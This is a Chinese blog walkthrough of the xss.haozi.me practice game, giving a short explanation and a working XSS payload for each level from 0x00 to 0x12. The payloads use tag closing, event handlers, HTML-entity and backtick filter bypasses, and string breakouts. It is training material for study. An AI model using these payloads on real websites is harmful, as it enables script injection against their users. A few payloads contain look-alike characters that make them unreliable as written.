xss.haozi练习通关详解

题目连接:https://xss.haozi.me

0x00

原理解读:

这个游戏是要弹图片才算通关的,光弹窗不行,所以第一关就用最简单的img标签过

payload:

<img src="任意图片名" onerror="alert(1)">

在这里插入图片描述

0x01

原理解读:

server code中可以看到输入的内容被插入到了<textarea>标签中,所以只要闭合这个标签就行了

payload:

</textarea><img src="任意图片名" onerror="alert(1)">

在这里插入图片描述

0x02

原理解读:

这个一样的原理将input标签闭合就行了

payload:

"><img src="任意图片名" onerror="alert(1)">

在这里插入图片描述

0x03

原理解读:

这个是过滤了()啥的,可以用反撇号绕过,就是英文输入法1前面的那个符号

payload:

<img src="任意图片名" onerror="alert`1`">

在这里插入图片描述

0x04

原理解读:

这个是连反撇号也过滤了,所以用HTML实体编码绕过

payload:

<img src="任意图片名" onerror="alert&#40;1&#41;">

在这里插入图片描述

0x05

原理解读:

这个--!>用闭合注释符

payload:

--!><img src="任意图片名" onerror="alert&#40;1&#41;">

在这里插入图片描述

0x06

原理解读:

这个是在input标签中添加一个图片类型

payload:

type="image" src="任意图片名" onerror
="alert(1)"

在这里插入图片描述

0x07

原理解读:

这个是过滤了所有以/<\/?[^>]开头>结尾的字符,所以最后面不加>就好了

payload:

<img src="任意图片名" οnerrοr="alert&#40;1&#41;"

在这里插入图片描述

0x08

原理解读:

这个是过滤了</style>标签导致无法闭合,所以用换行将它分开以绕过

payload:

</style
><img src="任意图片名" onerror="alert&#40;1&#41;">

在这里插入图片描述

0x09

原理解读:

这个限制了URL,后面按正常套路闭合就行了

payload:

https://www.segmentfault.com"></script><img src="任意图片名" οnerrοr="alert(1)

在这里插入图片描述

0x0A

原理解读:

这个用到了@,在URL中会解析@后面的网址,如果你的没弹出来试试换个浏览器,我的用火狐就可以了

payload:

https://www.segmentfault.com@xss.haozi.me/j.js

在这里插入图片描述

0x0B

原理解读:

这个题将所有的字母都换成了大写,所以要将alert(1)进行HTML实体字符转换

payload:

<img src="任意图片名" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

在这里插入图片描述

0x0C

原理:

这个是增加了script的过滤,不过显得有点多余

payload:

<img src="图片名" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

在这里插入图片描述

0x0D

原理解读:

这个是将输入内容带入到了注释中,可以用换行逃逸。由于过滤了单引号',所以后面的')可以用-->注释掉。

payload:


alert(1);
-->

在这里插入图片描述

0x0E

原理解读:

此题是将标签里的第一个字母前加上下划线_,并且在h1标签里,作者的想法是用阿拉伯字母ſ替换s的大写,不过最后也没有出来,试了5个浏览器都不行

payload:

<ſcript src="https://xss.haozi.me/j.js" ></script>

在这里插入图片描述

0x0F

原理解读:

此题需要闭合前面的内容同时注释掉后面的

payload:

');alert(1)//

在这里插入图片描述

0x10

原理解读:

这个跟sql注入里的堆叠注入是一个意思

payload:

0;alert(1)

在这里插入图片描述

0x11

原理解读:

跟0x0F一样后面,后面可以用//注释掉也可以用("闭合掉

payload:

");alert(1);//

在这里插入图片描述

0x12

原理解读:

由于"被替换成了\\,所以要用\进行转义

payload:

\");alert(1);//

在这里插入图片描述

欢迎关注公众号,原创不易,转载请注明来源哦😘

https://img-blog.csdnimg.cn/2020092912185793.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTcyODk3Ng==,size_16,color_FFFFFF,t_70#pic_center

admin-root 系统安全 web安全 安全架构
已标记关键词 清除标记